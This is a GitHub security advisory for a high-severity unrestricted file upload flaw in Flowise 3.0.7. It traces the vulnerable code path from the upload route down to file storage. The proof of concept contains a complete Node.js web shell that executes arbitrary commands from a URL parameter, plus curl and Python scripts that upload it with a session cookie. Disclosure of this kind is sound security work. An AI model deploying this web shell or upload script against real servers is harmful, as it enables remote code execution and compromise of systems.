Skip to content

File Upload in FlowiseAI/Flosise

High
HenryHengZJ published GHSA-35g6-rrw3-v6xc Oct 6, 2025

Package

npm flowise (npm)

Affected versions

3.0.7

Patched versions

3.0.8

Description

Summary

A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

  • Taint 01: Route Registration
    POST file requests are routed to the controller via Multer

    router.post('/:chatflowId/:chatId', getMulterStorage().array('files'), attachmentsController.createAttachment)

  • Taint 02: Multer Settings
    Uploaded files are stored temporarily before further handling

    destination: `uploads/${generateId()}`
    })
    })
    } else {
    return multer({ dest: getUploadPath() })

  • Taint 03: Controller
    Receives the file from Multer and delegates to the service

    const createAttachment = async (req: Request, res: Response, next: NextFunction) => {
    try {
    const apiResponse = await attachmentsService.createAttachment(req)
    return res.json(apiResponse)
    } catch (error) {
    next(error)
    }
    }

  • Taint 04: Service Layer
    Processes the file and sends results back to controller

    const createAttachment = async (req: Request) => {
    try {
    return await createFileAttachment(req)
    } catch (error) {
    throw new InternalFlowiseError(
    StatusCodes.INTERNAL_SERVER_ERROR,
    `Error: attachmentService.createAttachment - ${getErrorMessage(error)}`
    )
    }
    }

  • Taint 05: createFileAttachment
    Extracts metadata, moves file to permanent storage

    const { path: storagePath, totalSize } = await addArrayFilesToStorage(
    file.mimetype,
    fileBuffer,
    file.originalname,
    fileNames,
    orgId,
    chatflowid,
    chatId
    )

  • Taint 06: File Save Path
    Creates storage directory and saves file

    const dir = path.join(getStoragePath(), ...paths.map(_sanitizeFilename))
    if (!fs.existsSync(dir)) {
    fs.mkdirSync(dir, { recursive: true })
    }
    const filePath = path.join(dir, sanitizedFilename)
    fs.writeFileSync(filePath, bf)

    export const getStoragePath = (): string => {
    const storagePath = process.env.BLOB_STORAGE_PATH
    ? path.join(process.env.BLOB_STORAGE_PATH)
    : path.join(getUserHome(), '.flowise', 'storage')
    if (!fs.existsSync(storagePath)) {
    fs.mkdirSync(storagePath, { recursive: true })
    }
    return storagePath
    }

  • Taint 07: File Filtering
    Filters dangerous characters in file names but does not reject malicious content

    const _sanitizeFilename = (filename: string): string => {
    if (filename) {
    let sanitizedFilename = sanitize(filename)
    // remove all leading .
    return sanitizedFilename.replace(/^\.+/, '')
    }
    return ''
    }

PoC

shell.js (Node.js Web Shell)

const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl Upload

curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "files=@shell.js;type=application/javascript"

Python Upload Script

import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()
image

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

CVE ID

CVE-2025-26319

Weaknesses

Unrestricted Upload of File with Dangerous Type

The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. Learn more on MITRE.

Credits